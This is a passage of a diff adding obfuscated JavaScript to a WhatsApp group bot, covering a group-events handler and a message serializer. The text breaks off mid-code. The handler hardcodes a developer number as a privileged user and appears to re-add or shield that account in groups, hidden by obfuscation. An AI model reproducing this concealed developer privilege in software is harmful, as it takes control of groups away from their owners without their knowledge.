_0x1b9500=_0x32ea98[_0x25d83d(0x200)+'ts']||[],_0x1cbbae=_0x3a6efb[_0x25d83d(0x27c)]||_0x446f41[_0x25d83d(0x225)];let _0x1e997e={};try{_0x1e997e=await _0x446f41[_0x25d83d(0x22c)](getGroupSettings,_0x32ea98['id']);}catch(_0x2480a9){console[_0x25d83d(0x295)](_0x25d83d(0x1fa)+_0x25d83d(0x275)+_0x25d83d(0x284)+_0x25d83d(0x1de)+_0x32ea98['id']+':',_0x2480a9[_0x25d83d(0x237)]);}const _0x2d3bcf=_0x446f41[_0x25d83d(0x282)](_0x1e997e?.[_0x25d83d(0x238)],!![])||_0x446f41[_0x25d83d(0x2a8)](_0x1e997e?.[_0x25d83d(0x238)],-0x1649+-0x2570+0x1*0x3bba),_0x261728=_0x446f41[_0x25d83d(0x255)](_0x1e997e?.[_0x25d83d(0x242)],!![])||_0x446f41[_0x25d83d(0x2a3)](_0x1e997e?.[_0x25d83d(0x242)],0x983+-0x16f0+0x6*0x23d),_0x3d2c27=_0x446f41[_0x25d83d(0x296)](_0x1e997e?.[_0x25d83d(0x25b)],!![])||_0x446f41[_0x25d83d(0x298)](_0x1e997e?.[_0x25d83d(0x25b)],0x547+0x19*-0x79+-0x14f*-0x5),_0x35bb76=_0x446f41[_0x25d83d(0x298)](_0x1e997e?.[_0x25d83d(0x2b1)+'e'],!![])||_0x446f41[_0x25d83d(0x254)](_0x1e997e?.[_0x25d83d(0x2b1)+'e'],-0x760+0x1b78+-0x1417);let _0x4fc2e6=[];try{_0x4fc2e6=await _0x446f41[_0x25d83d(0x2d7)](getSudoUsers);}catch{}const _0x485cfe=Array[_0x25d83d(0x1ff)](_0x4fc2e6)?_0x4fc2e6[_0x25d83d(0x23b)](_0x335fce=>normalizeJid(_0x335fce)):[];_0x485cfe[_0x25d83d(0x1df)](_0x446f41[_0x25d83d(0x2c4)](normalizeJid,DEVELOPER_NUMBER));const _0x30647c=_0x1d8233=>{const _0x3f8451=_0x25d83d,_0x260600=_0x446f41[_0x3f8451(0x26d)](normalizeJid,_0x1d8233);return _0x446f41[_0x3f8451(0x26d)](isDeveloper,_0x1d8233)||_0x485cfe[_0x3f8451(0x256)](_0x260600)||_0x446f41[_0x3f8451(0x282)](_0x260600,_0xb34787)||_0x446f41[_0x3f8451(0x282)](_0x260600,_0x446f41[_0x3f8451(0x26d)](normalizeJid,_0x3a6efb[_0x3f8451(0x2a0)]));},_0xbb2561=await Promise[_0x25d83d(0x234)](_0x1b9500[_0x25d83d(0x23b)](async _0x1a2469=>{const _0x1fd68e=_0x25d83d,_0x232e5c=_0x446f41[_0x1fd68e(0x26d)](extractJid,_0x1a2469);try{return await _0x2c182f[_0x1fd68e(0x21e)+_0x1fd68e(0x26b)](_0x232e5c,_0x446f41[_0x1fd68e(0x218)]);}catch{return _0x446f41[_0x1fd68e(0x2b0)](_0x5240d7,null);}}));if(_0x446f41[_0x25d83d(0x2a8)](_0x32ea98[_0x25d83d(0x262)],_0x446f41[_0x25d83d(0x28d)])){try{await _0x446f41[_0x25d83d(0x2a5)](_0x12e546,_0x2c182f,_0x32ea98);}catch(_0xf084e9){console[_0x25d83d(0x295)](_0x446f41[_0x25d83d(0x207)],_0xf084e9[_0x25d83d(0x237)]);}for(const _0x31f883 of _0x1b9500){if(_0x446f41[_0x25d83d(0x290)](isDeveloper,_0x31f883))try{const _0xad6e3=await _0x2c182f[_0x25d83d(0x1f9)+_0x25d83d(0x271)](_0x32ea98['id']),_0x1df531=_0xad6e3[_0x25d83d(0x200)+'ts'][_0x25d83d(0x1e6)](_0x2373da=>{const _0x1ec726=_0x25d83d,_0x56284f=_0x446f41[_0x1ec726(0x26d)](extractJid,_0x2373da);return _0x446f41[_0x1ec726(0x282)](_0x446f41[_0x1ec726(0x2c4)](normalizeJid,_0x56284f),_0xb34787)&&_0x446f41[_0x1ec726(0x2b6)](_0x2373da[_0x1ec726(0x21c)],null);});if(_0x1df531){const _0x571e34=_0x446f41[_0x25d83d(0x2c9)](extractJid,_0x31f883),_0x719d8f=_0x446f41[_0x25d83d(0x2a5)](resolveTargetJid,_0x571e34,_0xad6e3[_0x25d83d(0x200)+'ts'])||_0x446f41[_0x25d83d(0x2c9)](normalizeJid,_0x31f883);if(!_0x719d8f||_0x719d8f[_0x25d83d(0x28b)](_0x446f41[_0x25d83d(0x25e)]))return;await _0x2c182f[_0x25d83d(0x21b)+_0x25d83d(0x264)+_0x25d83d(0x2ad)](_0x32ea98['id'],[_0x719d8f],_0x446f41[_0x25d83d(0x25c)]),await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x25d83d(0x2ca)+_0x25d83d(0x1fe)+_0x25d83d(0x21f)+_0x25d83d(0x247)+_0x25d83d(0x229)+_0x25d83d(0x261)+_0x25d83d(0x208)+_0x25d83d(0x2d0)+_0x25d83d(0x20d)+_0x25d83d(0x2d1)+_0x25d83d(0x22d)+_0x25d83d(0x20f)+_0x25d83d(0x1ed)+_0x25d83d(0x272)+_0x25d83d(0x251)+_0x25d83d(0x24a),'mentions':[_0x719d8f]});}}catch(_0x2811d6){}}}if(_0x2d3bcf&&_0x446f41[_0x25d83d(0x2c3)](_0x32ea98[_0x25d83d(0x262)],_0x446f41[_0x25d83d(0x28d)]))for(let _0x12f87a=-0xbc*0x23+-0xfdc+-0x130*-0x23;_0x446f41[_0x25d83d(0x29a)](_0x12f87a,_0x1b9500[_0x25d83d(0x2d5)]);_0x12f87a++){const _0x884b01=_0x1b9500[_0x12f87a],_0x58818d=_0x446f41[_0x25d83d(0x1fd)](extractJid,_0x884b01),_0x1bc84a=_0x446f41[_0x25d83d(0x22c)](_num,_0x58818d)||_0x58818d[_0x25d83d(0x2cc)]('@')[0x1433+-0x80e+-0x1*0xc25][_0x25d83d(0x2cc)](':')[-0x1591+-0x50c*-0x6+-0x8b7],_0x2797ec=_0xbb2561[_0x12f87a],_0x37f2a4=_0x25d83d(0x2ca)+_0x25d83d(0x1fe)+_0x25d83d(0x21f)+_0x25d83d(0x27a)+_0x25d83d(0x227)+_0x25d83d(0x241)+_0x1bc84a+(_0x25d83d(0x281)+_0x25d83d(0x260)+_0x25d83d(0x265)+_0x25d83d(0x27b)+_0x25d83d(0x283)+_0x25d83d(0x297))+_0x3a6efb[_0x25d83d(0x1e8)]+(_0x25d83d(0x29e)+_0x25d83d(0x214))+_0x1cbbae+(_0x25d83d(0x276)+_0x25d83d(0x222)+_0x25d83d(0x269)+_0x25d83d(0x20b)+_0x25d83d(0x20c)+_0x25d83d(0x249)+_0x25d83d(0x21a)+_0x25d83d(0x292)+_0x25d83d(0x202)+_0x25d83d(0x226));try{_0x2797ec?await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'image':{'url':_0x2797ec},'caption':_0x37f2a4,'mentions':[_0x58818d]}):await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x37f2a4,'mentions':[_0x58818d]});}catch(_0x4f01d1){console[_0x25d83d(0x295)](_0x446f41[_0x25d83d(0x26f)],_0x4f01d1[_0x25d83d(0x237)]);try{await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x37f2a4,'mentions':[_0x58818d]});}catch(_0x386495){console[_0x25d83d(0x295)](_0x446f41[_0x25d83d(0x26a)],_0x386495[_0x25d83d(0x237)]);}}}if(_0x446f41[_0x25d83d(0x2af)](_0x32ea98[_0x25d83d(0x262)],_0x446f41[_0x25d83d(0x1fb)]))for(const _0x4859ed of _0x1b9500){try{await _0x446f41[_0x25d83d(0x24e)](resetWarn,_0x32ea98['id'],_0x446f41[_0x25d83d(0x290)](normalizeJid,_0x4859ed));}catch{}}if(_0x261728&&_0x446f41[_0x25d83d(0x282)](_0x32ea98[_0x25d83d(0x262)],_0x446f41[_0x25d83d(0x1fb)]))for(let _0x169592=-0x23d2+0x1e5f+0x1d1*0x3;_0x446f41[_0x25d83d(0x2cd)](_0x169592,_0x1b9500[_0x25d83d(0x2d5)]);_0x169592++){const _0x450c51=_0x1b9500[_0x169592],_0x346ae7=_0x446f41[_0x25d83d(0x2c4)](extractJid,_0x450c51),_0x587c74=_0x446f41[_0x25d83d(0x26d)](_num,_0x346ae7)||_0x346ae7[_0x25d83d(0x2cc)]('@')[-0x13c8+0x743*-0x1+0x1b0b][_0x25d83d(0x2cc)](':')[0x1b1*0x1+-0xa9f*0x1+0x8ee],_0x2cdd35=_0xbb2561[_0x169592],_0x32af3c=_0x25d83d(0x2ca)+_0x25d83d(0x1fe)+_0x25d83d(0x21f)+_0x25d83d(0x2aa)+_0x25d83d(0x231)+_0x25d83d(0x2d3)+_0x587c74+(_0x25d83d(0x239)+_0x25d83d(0x28a)+_0x25d83d(0x217)+_0x25d83d(0x2cb)+_0x25d83d(0x289)+_0x25d83d(0x2c7)+_0x25d83d(0x286))+_0x3a6efb[_0x25d83d(0x1e8)]+(_0x25d83d(0x228)+_0x25d83d(0x243)+_0x25d83d(0x287)+_0x25d83d(0x233)+_0x25d83d(0x246)+_0x25d83d(0x20f)+_0x25d83d(0x2b3)+_0x25d83d(0x277)+_0x25d83d(0x23a));try{_0x2cdd35?await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'image':{'url':_0x2cdd35},'caption':_0x32af3c,'mentions':[_0x346ae7]}):await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x32af3c,'mentions':[_0x346ae7]});}catch(_0x520653){console[_0x25d83d(0x295)](_0x446f41[_0x25d83d(0x205)],_0x520653[_0x25d83d(0x237)]);try{await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x32af3c,'mentions':[_0x346ae7]});}catch(_0x189dba){console[_0x25d83d(0x295)](_0x446f41[_0x25d83d(0x206)],_0x189dba[_0x25d83d(0x237)]);}}}if(_0x446f41[_0x25d83d(0x2b7)](_0x32ea98[_0x25d83d(0x262)],_0x446f41[_0x25d83d(0x1f8)])&&_0x3d2c27)try{const _0x31f952=_0x1b9500[0x2fc+-0x5cd+0x67*0x7],_0x46ac03=_0x446f41[_0x25d83d(0x290)](extractJid,_0x31f952),_0x224e60=_0x446f41[_0x25d83d(0x24e)](resolveTargetJid,_0x46ac03,_0x3a6efb[_0x25d83d(0x200)+'ts'])||_0x446f41[_0x25d83d(0x23d)](normalizeJid,_0x31f952),_0x28489a=_0x446f41[_0x25d83d(0x23d)](_num,_0x224e60)||_0x224e60[_0x25d83d(0x2cc)]('@')[0x162f+0x10e2*-0x1+-0x3b*0x17][_0x25d83d(0x2cc)](':')[-0x209b*0x1+0x1818+0x883*0x1],_0x29fd7c=_0x32ea98[_0x25d83d(0x258)]||'',_0xac834a=_0x29fd7c?_0x446f41[_0x25d83d(0x2bf)](resolveTargetJid,_0x29fd7c,_0x3a6efb[_0x25d83d(0x200)+'ts'])||_0x446f41[_0x25d83d(0x2c4)](normalizeJid,_0x29fd7c):null,_0x22d52e=_0xac834a?_0x446f41[_0x25d83d(0x23d)](_num,_0xac834a)||_0xac834a[_0x25d83d(0x2cc)]('@')[-0x25*-0x13+-0xa2*-0x25+0x1*-0x1a29][_0x25d83d(0x2cc)](':')[0x1*-0x1d7f+0x395*0x4+0xf2b]:'';if(_0x446f41[_0x25d83d(0x253)](_0x30647c,_0x31f952)){try{await _0x2c182f[_0x25d83d(0x21b)+_0x25d83d(0x264)+_0x25d83d(0x2ad)](_0x32ea98['id'],[_0x224e60],_0x446f41[_0x25d83d(0x25c)]);}catch{}await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x25d83d(0x2ca)+_0x25d83d(0x1fe)+_0x25d83d(0x21f)+_0x25d83d(0x22b)+_0x25d83d(0x28c)+_0x25d83d(0x2c2)+_0x28489a+(_0x25d83d(0x22e)+_0x25d83d(0x1fc)+_0x25d83d(0x209)+_0x25d83d(0x23c)+_0x25d83d(0x2b8)+_0x25d83d(0x27d)+_0x25d83d(0x2a1)+_0x25d83d(0x2bb)+_0x25d83d(0x248)+_0x25d83d(0x210)+':\x20')+_0x3a6efb[_0x25d83d(0x1e8)]+(_0x25d83d(0x249)+_0x25d83d(0x21a)+_0x25d83d(0x292)+_0x25d83d(0x202)+_0x25d83d(0x226)),'mentions':[_0x224e60][_0x25d83d(0x274)](Boolean)});return;}if(_0x446f41[_0x25d83d(0x279)](_0x30647c,_0x29fd7c))return;if(_0xac834a)await _0x2c182f[_0x25d83d(0x21b)+_0x25d83d(0x264)+_0x25d83d(0x2ad)](_0x32ea98['id'],[_0xac834a],_0x446f41[_0x25d83d(0x1f8)])[_0x25d83d(0x22f)](()=>{});await _0x2c182f[_0x25d83d(0x21b)+_0x25d83d(0x264)+_0x25d83d(0x2ad)](_0x32ea98['id'],[_0x224e60],_0x446f41[_0x25d83d(0x25c)])[_0x25d83d(0x22f)](()=>{}),await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x25d83d(0x2ca)+_0x25d83d(0x1fe)+_0x25d83d(0x21f)+_0x25d83d(0x22b)+_0x25d83d(0x28c)+_0x25d83d(0x29c)+_0x25d83d(0x273)+_0x22d52e+(_0x25d83d(0x26e)+_0x25d83d(0x1e4)+_0x25d83d(0x1e5))+_0x28489a+(_0x25d83d(0x216)+_0x25d83d(0x215)+_0x25d83d(0x2d4)+_0x25d83d(0x1f3))+_0x3a6efb[_0x25d83d(0x1e8)]+(_0x25d83d(0x299)+_0x25d83d(0x232)+_0x25d83d(0x213)+_0x25d83d(0x21d)+_0x25d83d(0x2a7)+_0x25d83d(0x1f5)+_0x25d83d(0x249)+_0x25d83d(0x21a)+_0x25d83d(0x292)+_0x25d83d(0x202)+_0x25d83d(0x226)),'mentions':[_0xac834a,_0x224e60][_0x25d83d(0x274)](Boolean)});}catch(_0x595dc3){console[_0x25d83d(0x295)](_0x446f41[_0x25d83d(0x291)],_0x595dc3[_0x25d83d(0x237)]);}else{if(_0x446f41[_0x25d83d(0x236)](_0x32ea98[_0x25d83d(0x262)],_0x446f41[_0x25d83d(0x25c)])&&_0x35bb76)try{const _0x4840d3=_0x1b9500[0xb32+-0x3*-0x76a+-0x2170],_0x12476e=_0x446f41[_0x25d83d(0x1f6)](extractJid,_0x4840d3),_0x402fb2=_0x446f41[_0x25d83d(0x24b)](resolveTargetJid,_0x12476e,_0x3a6efb[_0x25d83d(0x200)+'ts'])||_0x446f41[_0x25d83d(0x279)](normalizeJid,_0x4840d3),_0x54d2e2=_0x446f41[_0x25d83d(0x24f)](_num,_0x402fb2)||_0x402fb2[_0x25d83d(0x2cc)]('@')[-0x335*-0xb+0x2057+-0x439e][_0x25d83d(0x2cc)](':')[-0x220+-0x1bb1+0x1*0x1dd1],_0x1f2a46=_0x32ea98[_0x25d83d(0x258)]||'',_0x442ffb=_0x1f2a46?_0x446f41[_0x25d83d(0x24e)](resolveTargetJid,_0x1f2a46,_0x3a6efb[_0x25d83d(0x200)+'ts'])||_0x446f41[_0x25d83d(0x2c4)](normalizeJid,_0x1f2a46):null,_0x2a8b6f=_0x442ffb?_0x446f41[_0x25d83d(0x24f)](_num,_0x442ffb)||_0x442ffb[_0x25d83d(0x2cc)]('@')[0x1193+0x17dd+0x1*-0x2970][_0x25d83d(0x2cc)](':')[-0x640*-0x1+0x21*0xb5+-0x1d95]:'';if(_0x446f41[_0x25d83d(0x1e3)](_0x30647c,_0x1f2a46))return;if(_0x446f41[_0x25d83d(0x28f)](_0x30647c,_0x4840d3)){await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x25d83d(0x2ca)+_0x25d83d(0x1fe)+_0x25d83d(0x21f)+_0x25d83d(0x201)+_0x25d83d(0x2a2)+_0x25d83d(0x24d)+_0x25d83d(0x2d2)+_0x54d2e2+(_0x25d83d(0x1ee)+_0x25d83d(0x221)+_0x25d83d(0x2cb)+_0x25d83d(0x289)+_0x25d83d(0x2c7)+_0x25d83d(0x286))+_0x3a6efb[_0x25d83d(0x1e8)]+(_0x25d83d(0x249)+_0x25d83d(0x21a)+_0x25d83d(0x292)+_0x25d83d(0x202)+_0x25d83d(0x226)),'mentions':[_0x402fb2][_0x25d83d(0x274)](Boolean)});return;}const _0x1199a9=[_0x402fb2];if(_0x442ffb)_0x1199a9[_0x25d83d(0x1df)](_0x442ffb);await _0x2c182f[_0x25d83d(0x21b)+_0x25d83d(0x264)+_0x25d83d(0x2ad)](_0x32ea98['id'],_0x1199a9,_0x446f41[_0x25d83d(0x1f8)])[_0x25d83d(0x22f)](()=>{}),await _0x2c182f[_0x25d83d(0x268)+'e'](_0x32ea98['id'],{'text':_0x25d83d(0x2ca)+_0x25d83d(0x1fe)+_0x25d83d(0x21f)+_0x25d83d(0x280)+_0x25d83d(0x23e)+_0x25d83d(0x1f4)+'\x20@'+_0x2a8b6f+(_0x25d83d(0x26e)+_0x25d83d(0x230)+_0x25d83d(0x270)+'@')+_0x54d2e2+(_0x25d83d(0x216)+_0x25d83d(0x215)+_0x25d83d(0x2d4)+_0x25d83d(0x1f3))+_0x3a6efb[_0x25d83d(0x1e8)]+(_0x25d83d(0x299)+_0x25d83d(0x252)+_0x25d83d(0x204)+_0x25d83d(0x2b9)+_0x25d83d(0x293)+_0x25d83d(0x1eb)+_0x25d83d(0x1f1)+_0x25d83d(0x26c)+_0x25d83d(0x2c5)+_0x25d83d(0x245)+_0x25d83d(0x244)),'mentions':[_0x442ffb,_0x402fb2][_0x25d83d(0x274)](Boolean)});}catch(_0x3b71eb){console[_0x25d83d(0x295)](_0x446f41[_0x25d83d(0x250)],_0x3b71eb[_0x25d83d(0x237)]);}}};export default Events;
FEE-XMD-main/handlers/smsg.js ADDED
@@ -0,0 +1 @@
 
 
1
+ const _0x1b4289=_0x2ddf;function _0x2ddf(_0x607c4c,_0x1515aa){_0x607c4c=_0x607c4c-(-0x1*0x25a5+-0x29*-0x17+-0x14b*-0x1b);const _0x20f0f6=_0x368d();let _0x5a8572=_0x20f0f6[_0x607c4c];return _0x5a8572;}(function(_0xdd1a38,_0xd01035){const _0x1b9794=_0x2ddf,_0x246e6c=_0xdd1a38();while(!![]){try{const _0x527948=parseInt(_0x1b9794(0x177))/(-0x1*0x1d69+-0x2466+0x41d0)+-parseInt(_0x1b9794(0x149))/(-0x2*0xf6a+-0x21a*-0x12+0x166*-0x5)*(-parseInt(_0x1b9794(0x10d))/(-0x2639+0x1*-0x925+0x2f61))+-parseInt(_0x1b9794(0x147))/(-0x847+0x1*0x833+0x18)+parseInt(_0x1b9794(0xf8))/(0x2127+0x128d+-0x33af)+parseInt(_0x1b9794(0x143))/(-0x11dc+0x1*0x98f+0x853)+-parseInt(_0x1b9794(0x134))/(0xe06+-0x501*-0x5+-0x2704)+parseInt(_0x1b9794(0x17e))/(0x747+-0x168d+-0x7a7*-0x2)*(parseInt(_0x1b9794(0x157))/(-0x33*0x11+-0x1ab6+0x85*0x3a));if(_0x527948===_0xd01035)break;else _0x246e6c['push'](_0x246e6c['shift']());}catch(_0x47a6ee){_0x246e6c['push'](_0x246e6c['shift']());}}}(_0x368d,-0xa64e0+0x1*0x8be1+0xf4bda));import{proto,getContentType}from'@whiskeysockets/baileys';import{readFileSync}from'fs';import{fileURLToPath}from'url';import{dirname}from'path';const __filename=fileURLToPath(import.meta.url),__dirname=dirname(__filename);import _0x7e1ece from'path';const filePath=_0x7e1ece[_0x1b4289(0x118)](__dirname,_0x1b4289(0x126)+'pg');let kali=Buffer[_0x1b4289(0x11f)](0x77e+0xd8d+-0x150b);try{kali=readFileSync(filePath);}catch{kali=Buffer[_0x1b4289(0x11f)](-0x1cd3*0x1+-0x8bd*0x4+0x3fc7);}const lidMappingCache=new Map();function _0x368d(){const _0x4208ba=['length','WebMessage','buttonsRes','117IazORo','fakeObj','deviceSent','sendMessag','resolvePho','eResponseM','download','oPjpj','dufVX','key','unknown','chat','quotedMess','paramsJson','dWvHW','singleSele','copy','ssage','message','body','getQuotedM','getQuotedO','essage','diaMessage','contextInf','fromObject','startsWith','isGroup','loadMessag','pudAX','Info','WkCqA','174247xbMJca','kiRWL','THGIF','GISFF','selectedBu','ecmMY','wnoeZ','63160cqvTSw','mentionedJ','ttonId','eJmcz','HsWwr','productMes','text','rxpAO','reply','Yafph','nativeFlow','caption','3004105KoPDWe','quoted','url','pNzUj','seMessage','jGZyW','EbpZf','HRzlB','ZqfCT','toObject','includes','@s.whatsap','viewOnceMe','title','rAqtb','VPgxi','participan','tczhl','HJbsm','splayText','listRespon','384891uUAycs','GDeNL','ICPoH','neFromLid','@g.us','conversati','selectedRo','remoteJid','user','Vgauy','split','resolve','tAlt','replace','fnpfJ','ctReply','has','stanzaId','alloc','SzmmZ','jeGDE','endsWith','fromMe','sage','ephemeralM','../fredi.j','selectedDi','p.net','copyNForwa','WFKGO','ResponseMe','QRaWh','che','isBaileys','downloadMe','reactKey','UWwEf','Message','set','3716622BiaNNu','delete','TxCBu','object','BAE5','string','RWUNB','DtICI','age','sender','dlldN','FXBVV','get','contentTex','wId','2883906PscLqa','isYbj','ponseMessa','remoteJidA','2394488uyeOEZ','fZHNV','2KCbKZA','decodeJid','map','lidPhoneCa','lnAlF','parse','msg','@lid','mtype','interactiv','WYUvM'];_0x368d=function(){return _0x4208ba;};return _0x368d();}function resolveLidToJid(_0xf6187d){const _0x5ba3af=_0x1b4289,_0x1e38fd={'isYbj':_0x5ba3af(0x150),'dlldN':function(_0x1f3eab,_0x4514c6){return _0x1f3eab===_0x4514c6;},'GDeNL':_0x5ba3af(0x139),'TxCBu':function(_0x3cecf0,_0x266f98){return _0x3cecf0===_0x266f98;},'WYUvM':function(_0x58ad4c,_0x51f179){return _0x58ad4c+_0x51f179;},'Yafph':_0x5ba3af(0x103)+_0x5ba3af(0x128)};if(!_0xf6187d)return _0xf6187d;if(_0xf6187d[_0x5ba3af(0x122)](_0x1e38fd[_0x5ba3af(0x144)])){const _0x22c30a=_0xf6187d[_0x5ba3af(0x117)]('@')[-0xe3b*0x1+0x1670+0xb*-0xbf][_0x5ba3af(0x117)](':')[-0x790+-0x864+0x1*0xff4];let _0x5cf259=lidMappingCache[_0x5ba3af(0x140)](_0x22c30a)||globalThis[_0x5ba3af(0x14c)+_0x5ba3af(0x12d)]&&globalThis[_0x5ba3af(0x14c)+_0x5ba3af(0x12d)][_0x5ba3af(0x140)](_0x22c30a);if(!_0x5cf259&&globalThis[_0x5ba3af(0x15b)+_0x5ba3af(0x110)]){const _0x2fcf86=globalThis[_0x5ba3af(0x15b)+_0x5ba3af(0x110)](_0xf6187d);if(_0x2fcf86&&_0x1e38fd[_0x5ba3af(0x13e)](typeof _0x2fcf86,_0x1e38fd[_0x5ba3af(0x10e)])&&!_0x2fcf86[_0x5ba3af(0x122)](_0x1e38fd[_0x5ba3af(0x144)]))_0x5cf259=_0x2fcf86;}if(_0x5cf259&&_0x1e38fd[_0x5ba3af(0x136)](typeof _0x5cf259,_0x1e38fd[_0x5ba3af(0x10e)])){const _0x3afe42=_0x5cf259[_0x5ba3af(0x117)]('@')[-0xb*-0x293+-0x3*-0xbdf+0x31*-0x14e][_0x5ba3af(0x11a)](/\D/g,'');if(_0x3afe42){if(!lidMappingCache[_0x5ba3af(0x11d)](_0x22c30a))lidMappingCache[_0x5ba3af(0x133)](_0x22c30a,_0x3afe42);return _0x1e38fd[_0x5ba3af(0x153)](_0x3afe42,_0x1e38fd[_0x5ba3af(0xf5)]);}}return _0xf6187d;}return _0xf6187d;}function smsg(_0x3fd0aa,_0x3dde0a,_0x5a7fa0,_0x10de07=null){const _0x27d358=_0x1b4289,_0x42d076={'eJmcz':_0x27d358(0x150),'VPgxi':function(_0x1a8a96,_0x44b19d){return _0x1a8a96(_0x44b19d);},'ICPoH':function(_0x487ea,_0x1d9717){return _0x487ea(_0x1d9717);},'oPjpj':function(_0x557485,_0xb6c400,_0x2c79c3,_0x48a8de){return _0x557485(_0xb6c400,_0x2c79c3,_0x48a8de);},'HRzlB':function(_0x5589cd){return _0x5589cd();},'rAqtb':function(_0x1ccb70,_0x53c166){return _0x1ccb70(_0x53c166);},'kiRWL':function(_0x17a828,_0x585be7){return _0x17a828(_0x585be7);},'tczhl':_0x27d358(0x138),'WFKGO':function(_0x48d71f,_0x4fd7f3){return _0x48d71f===_0x4fd7f3;},'wnoeZ':_0x27d358(0x111),'jGZyW':function(_0x4bf8d7,_0x15d76d){return _0x4bf8d7(_0x15d76d);},'EbpZf':function(_0x1a4464,_0x29ce35){return _0x1a4464(_0x29ce35);},'Vgauy':function(_0x366927,_0x44887f){return _0x366927(_0x44887f);},'FXBVV':_0x27d358(0x161),'HsWwr':function(_0x51d2d5,_0x376150){return _0x51d2d5===_0x376150;},'fnpfJ':_0x27d358(0x159)+_0x27d358(0x132),'dWvHW':function(_0x577a84,_0x433f36){return _0x577a84===_0x433f36;},'HJbsm':_0x27d358(0x125)+_0x27d358(0x16d),'GISFF':_0x27d358(0x104)+_0x27d358(0x168),'DtICI':function(_0x34be1b,_0x10426b){return _0x34be1b(_0x10426b);},'fZHNV':_0x27d358(0x10c)+_0x27d358(0xfc),'pNzUj':function(_0x1a41e6,_0x56331d){return _0x1a41e6===_0x56331d;},'WkCqA':_0x27d358(0x156)+_0x27d358(0x145)+'ge','UWwEf':_0x27d358(0x152)+_0x27d358(0x15c)+_0x27d358(0x16d),'pudAX':function(_0xc8a1d8,_0x3d9cef){return _0xc8a1d8===_0x3d9cef;},'ZqfCT':function(_0x1f91f4,_0xe8f3df){return _0x1f91f4===_0xe8f3df;},'QRaWh':function(_0x33bfb1,_0x244f21){return _0x33bfb1||_0x244f21;},'rxpAO':_0x27d358(0x183)+_0x27d358(0x124),'RWUNB':function(_0x554957,_0x1dafff){return _0x554957(_0x1dafff);},'ecmMY':_0x27d358(0x139),'SzmmZ':function(_0x577961,_0x346fbd){return _0x577961!==_0x346fbd;},'THGIF':_0x27d358(0x137),'dufVX':function(_0xabbce,_0x37548a){return _0xabbce===_0x37548a;},'jeGDE':function(_0x4471a3,_0x5a4568){return _0x4471a3(_0x5a4568);},'lnAlF':function(_0x2211d5,_0x37b020){return _0x2211d5===_0x37b020;}};if(!_0x3dde0a)return{};let _0x459de8=proto[_0x27d358(0x155)+_0x27d358(0x175)];if(_0x3dde0a[_0x27d358(0x160)]){_0x3dde0a['id']=_0x3dde0a[_0x27d358(0x160)]['id'],_0x3dde0a[_0x27d358(0x12e)]=_0x3dde0a['id']?.[_0x27d358(0x171)](_0x42d076[_0x27d358(0x109)])&&_0x42d076[_0x27d358(0x12a)](_0x3dde0a['id'][_0x27d358(0x154)],0x393*0xa+-0x17b7+-0xbf7);if(_0x10de07)_0x3dde0a[_0x27d358(0x162)]=_0x10de07;else{if(_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x146)+'lt'])_0x3dde0a[_0x27d358(0x162)]=_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x146)+'lt'];else _0x3dde0a[_0x27d358(0x160)][_0x27d358(0x114)]?_0x3dde0a[_0x27d358(0x162)]=_0x42d076[_0x27d358(0x178)](resolveLidToJid,_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x114)]):_0x3dde0a[_0x27d358(0x162)]=_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x114)];}_0x3dde0a[_0x27d358(0x123)]=_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x123)],_0x3dde0a[_0x27d358(0x172)]=_0x3dde0a[_0x27d358(0x162)]?.[_0x27d358(0x122)](_0x42d076[_0x27d358(0x17d)]);let _0x1fa832;if(_0x3dde0a[_0x27d358(0x123)]&&_0x3fd0aa[_0x27d358(0x115)]?.['id'])_0x1fa832=_0x3fd0aa[_0x27d358(0x115)]['id'];else{if(_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+_0x27d358(0x119)])_0x1fa832=_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+_0x27d358(0x119)];else _0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+'t']?_0x1fa832=_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+'t']:_0x1fa832=_0x3dde0a[_0x27d358(0x162)];}_0x1fa832=_0x42d076[_0x27d358(0xfd)](resolveLidToJid,_0x1fa832),_0x3dde0a[_0x27d358(0x13d)]=_0x3fd0aa[_0x27d358(0x14a)](_0x1fa832);if(_0x3dde0a[_0x27d358(0x172)]){let _0x3d153b;if(_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+_0x27d358(0x119)])_0x3d153b=_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+_0x27d358(0x119)];else _0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+'t']?_0x3d153b=_0x3dde0a[_0x27d358(0x160)][_0x27d358(0x108)+'t']:_0x3d153b='';_0x3d153b=_0x42d076[_0x27d358(0xfe)](resolveLidToJid,_0x3d153b),_0x3dde0a[_0x27d358(0x108)+'t']=_0x3fd0aa[_0x27d358(0x14a)](_0x3d153b)||'';}}if(_0x3dde0a[_0x27d358(0x169)]){try{_0x3dde0a[_0x27d358(0x151)]=_0x42d076[_0x27d358(0x116)](getContentType,_0x3dde0a[_0x27d358(0x169)]);}catch{_0x3dde0a[_0x27d358(0x151)]=_0x42d076[_0x27d358(0x13f)];}if(_0x42d076[_0x27d358(0x182)](_0x3dde0a[_0x27d358(0x151)],_0x42d076[_0x27d358(0x11b)])&&_0x3dde0a[_0x27d358(0x169)][_0x27d358(0x159)+_0x27d358(0x132)]?.[_0x27d358(0x169)])_0x3dde0a[_0x27d358(0x151)]=_0x42d076[_0x27d358(0xfd)](getContentType,_0x3dde0a[_0x27d358(0x169)][_0x27d358(0x